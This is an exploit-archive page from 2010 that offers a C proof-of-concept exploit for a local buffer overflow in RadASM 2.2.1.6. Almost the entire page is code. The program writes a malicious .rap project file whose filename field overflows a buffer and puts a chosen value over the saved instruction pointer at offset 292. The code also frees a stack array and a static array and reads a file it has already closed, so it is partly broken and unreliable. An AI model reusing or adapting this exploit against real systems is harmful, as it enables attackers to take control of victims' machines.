what you don't know can hurt you

Radasm .rap Local Buffer Overflow

Radasm .rap Local Buffer Overflow
Posted Feb 12, 2010
Authored by fl0 fl0w

Radasm local buffer overflow proof of concept exploit that creates a malicious .rap file.

tags | exploit, overflow, local, proof of concept
MD5 | ed77dfa8795bd7067867bc789e7e4aa4

Radasm .rap Local Buffer Overflow

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/*Radasm .rap file local buffer overflow POC
I'll be back in a few hours with the exploit.
The vuln is in the filename field.
snip
[Files]...1=AVP OVERFLOW...
snip
*/
#include<stdio.h>
void gen_random(char*,const int);
void print(char*);
unsigned int getFsize(FILE*,char*);
void buildfile(char*);
#define VULNF "qq.rap"
#define VER "2.2.1.6"
#define POCNAME "Radasm .rap file local buffer overflow POC"
#define AUTHOR "fl0 fl0w"
#define IF(x,NULL) if(x==NULL)
#define FOR(i,a,b) for(i=a;i<b;++i)
#define EIPOFFSET 0xDD
#define NUL '\0'
#define CLEAR(x) free(x)
char file[]={ //1534 bytes
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int main(){
printf("[!]%s\n[!]%s\n[!]By %s\n",POCNAME,VER,AUTHOR);
buildfile(VULNF);
print("DONE!");
getchar();
return 0;
}
void buildfile(char* fname){
char buffer[100000];
char eip[]="\x55\x55\x55\x55"; //offset=292
gen_random(buffer,5000);
memcpy(buffer,file,strlen(file));
memcpy(buffer+292,eip,4);
FILE* f=fopen(fname,"wb");
if(f){
fwrite(buffer,1,1534,f);
fclose(f);
}
else {
print("Error in writing file");
exit(0);
}
free(buffer);
free(file);
int sz=getFsize(f,fname);
printf("[!]File is %d bytes\n",sz);
}
unsigned int getFsize(FILE* g,char* gname)
{
unsigned int s;

g=fopen(gname,"rb");

IF(g,NULL)
{
print("File error at reading");
exit(0);
}
fseek(g,0,SEEK_END);
s=ftell(g);

return s;
}
void print(char* msg)
{
printf("[*]%s\n",msg);
}
void gen_random(char *s, const int len)
{ int i; //helps u find the offsets
static const char alphanum[] ="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

FOR(i,0,len)
{
s[i]=alphanum[rand()%(sizeof(alphanum)-1)];
}
s[len]=0;
}


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